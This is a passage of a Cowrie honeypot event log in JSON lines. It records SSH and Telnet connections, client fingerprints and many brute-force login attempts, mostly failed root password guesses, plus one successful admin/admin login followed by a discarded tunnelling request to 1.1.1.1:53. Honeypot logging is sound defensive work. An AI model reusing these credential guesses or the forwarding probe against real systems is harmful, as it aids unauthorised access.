f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:25.963701Z","src_ip":"181.47.9.103","session":"582619b109ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:26.565714Z","src_ip":"181.47.9.103","session":"582619b109ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:27.711450Z","src_ip":"181.47.9.103","session":"582619b109ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.66230654716492,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:29.089596Z","src_ip":"152.42.224.71","session":"8c1525874bb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":39020,"dst_ip":"159.203.135.109","dst_port":22,"session":"b58450412046","protocol":"ssh","message":"New connection: 103.98.149.87:39020 (159.203.135.109:22) [session: b58450412046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:29.468663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:29.471836Z","src_ip":"103.98.149.87","session":"b58450412046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:29.997998Z","src_ip":"103.98.149.87","session":"b58450412046","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tatyana","message":"login attempt [root/tatyana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:30.714105Z","src_ip":"103.98.149.87","session":"b58450412046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:31.948519Z","src_ip":"103.98.149.87","session":"b58450412046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.732858657836914,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:34.136847Z","src_ip":"152.42.224.71","session":"52c20d346ea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33746,"dst_ip":"10.17.0.5","dst_port":23,"session":"5264375d78d4","protocol":"telnet","message":"New connection: 152.42.224.71:33746 (10.17.0.5:23) [session: 5264375d78d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:34.402583Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30156,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8afaec9e995","protocol":"ssh","message":"New connection: 87.251.64.176:30156 (10.17.0.5:22) [session: b8afaec9e995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:35.856876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:35.861741Z","src_ip":"87.251.64.176","session":"b8afaec9e995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:35.958210Z","src_ip":"87.251.64.176","session":"b8afaec9e995","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:36.246384Z","src_ip":"87.251.64.176","session":"b8afaec9e995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":47516,"dst_ip":"159.203.135.109","dst_port":22,"session":"844f9d66890c","protocol":"ssh","message":"New connection: 72.52.132.30:47516 (159.203.135.109:22) [session: 844f9d66890c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:36.285546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:36.298272Z","src_ip":"72.52.132.30","session":"844f9d66890c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:36.326005Z","src_ip":"72.52.132.30","session":"844f9d66890c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:36.344253Z","session":"b8afaec9e995","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:36.442191Z","src_ip":"87.251.64.176","session":"b8afaec9e995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:36.492805Z","src_ip":"72.52.132.30","session":"844f9d66890c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:36.540017Z","src_ip":"87.251.64.176","session":"b8afaec9e995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55952,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3fd8b036481","protocol":"telnet","message":"New connection: 152.42.224.71:55952 (10.17.0.5:23) [session: b3fd8b036481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:37.386083Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:37.529433Z","src_ip":"72.52.132.30","session":"844f9d66890c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":38164,"dst_ip":"159.203.135.109","dst_port":22,"session":"13c2c95f0b94","protocol":"ssh","message":"New connection: 37.143.61.241:38164 (159.203.135.109:22) [session: 13c2c95f0b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:41.387066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:41.391835Z","src_ip":"37.143.61.241","session":"13c2c95f0b94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:41.470988Z","src_ip":"37.143.61.241","session":"13c2c95f0b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:41.817928Z","src_ip":"37.143.61.241","session":"13c2c95f0b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:42.900469Z","src_ip":"37.143.61.241","session":"13c2c95f0b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":56954,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ca266dcaa66","protocol":"ssh","message":"New connection: 103.75.183.219:56954 (10.17.0.5:22) [session: 8ca266dcaa66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:53.247792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:53.251575Z","src_ip":"103.75.183.219","session":"8ca266dcaa66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:53.490978Z","src_ip":"103.75.183.219","session":"8ca266dcaa66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1z2x3c4v","message":"login attempt [root/1z2x3c4v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:54.210981Z","src_ip":"103.75.183.219","session":"8ca266dcaa66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59402,"dst_ip":"10.17.0.5","dst_port":23,"session":"4848c4781848","protocol":"telnet","message":"New connection: 152.42.224.71:59402 (10.17.0.5:23) [session: 4848c4781848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:54.777767Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:55.452329Z","src_ip":"103.75.183.219","session":"8ca266dcaa66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":40708,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cea24a11ad5","protocol":"ssh","message":"New connection: 103.75.182.198:40708 (159.203.135.109:22) [session: 4cea24a11ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:56.841634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:56.846085Z","src_ip":"103.75.182.198","session":"4cea24a11ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:57.098601Z","src_ip":"103.75.182.198","session":"4cea24a11ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm1","message":"login attempt [root/zxcvbnm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:57.839512Z","src_ip":"103.75.182.198","session":"4cea24a11ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:28:59.089515Z","src_ip":"103.75.182.198","session":"4cea24a11ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.90998792648315,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:01.643462Z","src_ip":"152.42.224.71","session":"564d6bbe1e16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45768,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ab79edc780c","protocol":"telnet","message":"New connection: 152.42.224.71:45768 (10.17.0.5:23) [session: 1ab79edc780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:05.715313Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":41804,"dst_ip":"159.203.135.109","dst_port":22,"session":"b83271cb065d","protocol":"ssh","message":"New connection: 43.130.35.229:41804 (159.203.135.109:22) [session: b83271cb065d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:08.334864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:08.339628Z","src_ip":"43.130.35.229","session":"b83271cb065d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:08.409040Z","src_ip":"43.130.35.229","session":"b83271cb065d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"medical","message":"login attempt [root/medical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:08.719571Z","src_ip":"43.130.35.229","session":"b83271cb065d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.30773568153381,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:09.200532Z","src_ip":"152.42.224.71","session":"a8d5802ae470","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:29:09.792701Z","src_ip":"43.130.35.229","session":"b83271cb065d","protocol":"ssh"}
